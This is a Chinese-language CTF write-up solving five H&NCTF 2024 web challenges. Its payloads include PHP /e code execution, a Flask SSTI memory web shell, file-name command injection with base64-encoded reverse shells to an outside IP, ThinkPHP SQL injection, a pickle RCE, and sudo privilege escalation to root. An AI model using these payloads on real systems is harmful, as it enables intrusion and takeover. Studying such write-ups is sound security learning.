【Web】H&NCTF 2024 题解(部分)

目录

Please_RCE_Me

ezFlask

GoJava

ez_tp

GPTS


Please_RCE_Me

复制代码
<?php
if($_GET['moran'] === 'flag'){
    highlight_file(__FILE__);
    if(isset($_POST['task'])&&isset($_POST['flag'])){
        $str1 = $_POST['task'];
        $str2 = $_POST['flag'];
        if(preg_match('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |\.|include|require|flag/i',$str1) || strlen($str2) != 19 || preg_match('/please_give_me_flag/',$str2)){
            die('hacker!');
        }else{
            preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag']);
        }
    }
}else{
    echo "moran want a flag.</br>(?moran=flag)";
}

preg_replace() /e代码执行漏洞-CSDN博客

正则开启了大小写匹配,可以大小写绕过

黑名单ban得有点多,建议直接转接绕过

复制代码
task=$_POST[1]($_POST[2]);&flag=Please_give_me_flag&1=system&2=tac /f*

或者读文件

在线16进制字符串转换工具 - 在线工具网

复制代码
task=var_dump(file_get_contents(hex2bin("2f666c6167")));&flag=Please_give_me_flag

ezFlask

无回显,想着打flask内存马

新版FLASK下python内存马的研究

flask_memory_shell/README.md at main · iceyhexman/flask_memory_shell · GitHub

一种payload:

复制代码
cmd=render_template_string("{{url_for.__globals__['__builtins__']['eval'](\"app.add_url_rule('/shell', 'myshell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd')).read())\",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}")
复制代码
/shell?cmd=grep+-rl+"flag{"+/etc
复制代码
/shell?cmd=cat+/etc/jaygalf

另一种payload:

复制代码
cmd=__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('cat /etc/jaygalf ').read())

GoJava

访问./robots.txt

./main.go是403访问./main-old.zip下载附件

可以看到对文件名做了一定的waf

题目是对java文件进行编译操作,就是系统命令执行javac拼接文件名

复制代码
1.java;echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjEi | base64 -d | bash;1.java

不难想到可以在文件名处进行可以恶意命令拼接

成功反弹shell

查看备忘录文件,用该密码成功su root

读flag

ez_tp

下载附件,看到tp版本是3.2.3

结合源码,能看出考的是sql注入

thinkphp3.2.3 SQL注入漏洞复现_thinkphp3.2.3漏洞利用-CSDN博客

payload:

复制代码
/index.php/home/index/h_n?name[0]=exp&name[1]==-1 union select 1,flag from flag

GPTS

这种gpt题,一般都是搜的新trick

CVE-2024-31224 RCE 分析

按照博客里去复现就可,把弹计算器换成反弹shell

复制代码
import base64

opcode = b'''cos
system
(S'bash -c "{echo,cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMTI0LjIyMi4xMzYuMzMiLDEzMzcpKTtbb3MuZHVwMihzLmZpbGVubygpLGYpZm9yIGYgaW4oMCwxLDIpXTtwdHkuc3Bhd24oImJhc2giKSc=}|{base64,-d}|{bash,-i}"'
tR.'''
opcode = base64.b64encode(opcode).decode("utf-8")
print(opcode)

成功反弹shell

查找由用户 ctfgame 拥有并且对其可读的所有文件

复制代码
find / -type f -user ctfgame -readable 2>/dev/null

查看/var/mail/ctfgame,读邮件中的敏感信息

切换到ctfer登录

没权限看/etc/sudoers ,用sudo -l

复制代码
sudo -l  

这段回显表明用户 ctfer 在主机 hnctf-01hxryr832qjjc3astkt4rw4dw 上具有以 root 用户身份执行 /usr/sbin/adduser 命令的特权,而且无需输入密码,但被限制不能以 sudo 用户或 admin 用户身份执行该命令。

/usr/sbin/adduser 是一个方便的命令行工具,用于在 Linux 系统中管理用户账户。

添加一个root组用户

复制代码
sudo adduser test -gid=0

以root组用户test登录

复制代码
cat /etc/sudoers

看到kobe,可以apt-get提权

现在我们要以kobe身份登录

先切回ctfer,sudo adduser kobe创建一个kobe用户

复制代码
sudo adduser kobe

再以kobe身份登录,apt-get提权

SUDO授权与提权 | 云安全攻防入门

复制代码
sudo apt-get update -o APT::Update::Pre-Invoke::="/bin/bash -i"
复制代码
cat /root/f*/f*

拿到flag

相关推荐
飞天狗11135 分钟前
零基础JavaWeb入门——第2课:让网页“活”起来 —— JSP是什么?
java·开发语言·前端·后端·web
曲幽6 小时前
别只盯着GitBook了!这个文档神器让你的笔记秒变网站
web·markdown·docsify·seo·gitbook·vuepress·document·index
Ab_stupid7 小时前
CTF-WEB培训笔记
笔记·web
持敬chijing1 天前
Web渗透之SQL注入总结
sql·安全·web安全·网络安全·网络攻击模型·web
Xzh04231 天前
Web 前端开发 — 期末复习指南(Html、Css、Js)
css·html5·web·js·期末
韩曙亮2 天前
【Flutter】Flutter 编译 Web 网站 ① ( Tomcat 部署 Web 网站 )
前端·flutter·tomcat·web
爱看老照片2 天前
浏览器的同源策略以及跨源问题 ( 浏览器的同域策略以及跨域问题)
浏览器·web·同源策略·跨域
Tisfy2 天前
LeetCode 3689.最大子数组总值 I:What The Medium
算法·leetcode·题解·贪心·模拟·脑筋急转弯
智码看视界2 天前
Web Storage 的无障碍实践与工程化应用
前端·javascript·web
带刺的坐椅2 天前
SolonCode(编码智能体)支持鸿蒙 PC
java·web·ai编程·harmonyos·soloncode·鸿蒙 pc